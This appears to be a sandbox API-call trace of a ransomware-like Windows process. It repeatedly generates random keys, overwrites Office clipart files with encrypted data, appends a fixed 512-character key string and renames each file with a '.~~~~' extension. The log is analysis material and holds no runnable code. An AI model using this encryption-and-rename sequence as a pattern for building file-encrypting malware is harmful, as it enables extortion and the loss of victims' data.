	[0091.281] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.281] CloseHandle (hObject=0x124) returned 1
	[0091.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.281] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.~~~~")) returned 1
	[0091.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.532] GetLastError () returned 0x0
	[0091.541] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.542] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.542] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21153253922) returned 1
	[0091.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0571670, dwHighDateTime=0x1d60e1e)) 
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386b20
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386b20 | out: hHeap=0x300000) returned 1
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384bc0
	[0091.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.543] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.543] GetLastError () returned 0x0
	[0091.543] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.543] GetLastError () returned 0x0
	[0091.546] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffc4c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.546] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3b3c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3b3c, lpOverlapped=0x0) returned 1
	[0091.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.547] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.547] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.547] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.547] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.547] CloseHandle (hObject=0x124) returned 1
	[0091.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.~~~~")) returned 1
	[0091.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.548] GetLastError () returned 0x0
	[0091.549] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.550] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.550] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.550] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21154039930) returned 1
	[0091.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa05977d0, dwHighDateTime=0x1d60e1e)) 
	[0091.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386b58
	[0091.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386b58 | out: hHeap=0x300000) returned 1
	[0091.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3855d8
	[0091.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.551] GetLastError () returned 0x0
	[0091.551] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.551] GetLastError () returned 0x0
	[0091.553] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff694, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.553] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x96c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x96c, lpOverlapped=0x0) returned 1
	[0091.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.553] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.554] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.554] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.554] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.554] CloseHandle (hObject=0x124) returned 1
	[0091.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.~~~~")) returned 1
	[0091.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.555] GetLastError () returned 0x0
	[0091.555] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.556] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.556] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.556] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21154584093) returned 1
	[0091.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa05977d0, dwHighDateTime=0x1d60e1e)) 
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386b90
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386b90 | out: hHeap=0x300000) returned 1
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385708
	[0091.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.556] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.556] GetLastError () returned 0x0
	[0091.556] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.556] GetLastError () returned 0x0
	[0091.558] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffec88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.558] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1378, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1378, lpOverlapped=0x0) returned 1
	[0091.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.558] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.559] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.559] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.559] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.559] CloseHandle (hObject=0x124) returned 1
	[0091.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.~~~~")) returned 1
	[0091.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.560] GetLastError () returned 0x0
	[0091.560] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.561] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.561] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.561] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21155155186) returned 1
	[0091.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa05977d0, dwHighDateTime=0x1d60e1e)) 
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386bc8
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386bc8 | out: hHeap=0x300000) returned 1
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3857a0
	[0091.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.562] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.562] GetLastError () returned 0x0
	[0091.562] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.562] GetLastError () returned 0x0
	[0091.565] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff084, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.565] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xf7c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xf7c, lpOverlapped=0x0) returned 1
	[0091.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.566] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.566] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.566] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.566] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.566] CloseHandle (hObject=0x124) returned 1
	[0091.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.~~~~")) returned 1
	[0091.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.567] GetLastError () returned 0x0
	[0091.567] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.568] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.568] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21155821565) returned 1
	[0091.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa05bd930, dwHighDateTime=0x1d60e1e)) 
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386c38
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386c38 | out: hHeap=0x300000) returned 1
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385838
	[0091.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.569] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.569] GetLastError () returned 0x0
	[0091.569] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.569] GetLastError () returned 0x0
	[0091.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff6e4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.571] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x91c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x91c, lpOverlapped=0x0) returned 1
	[0091.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.571] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
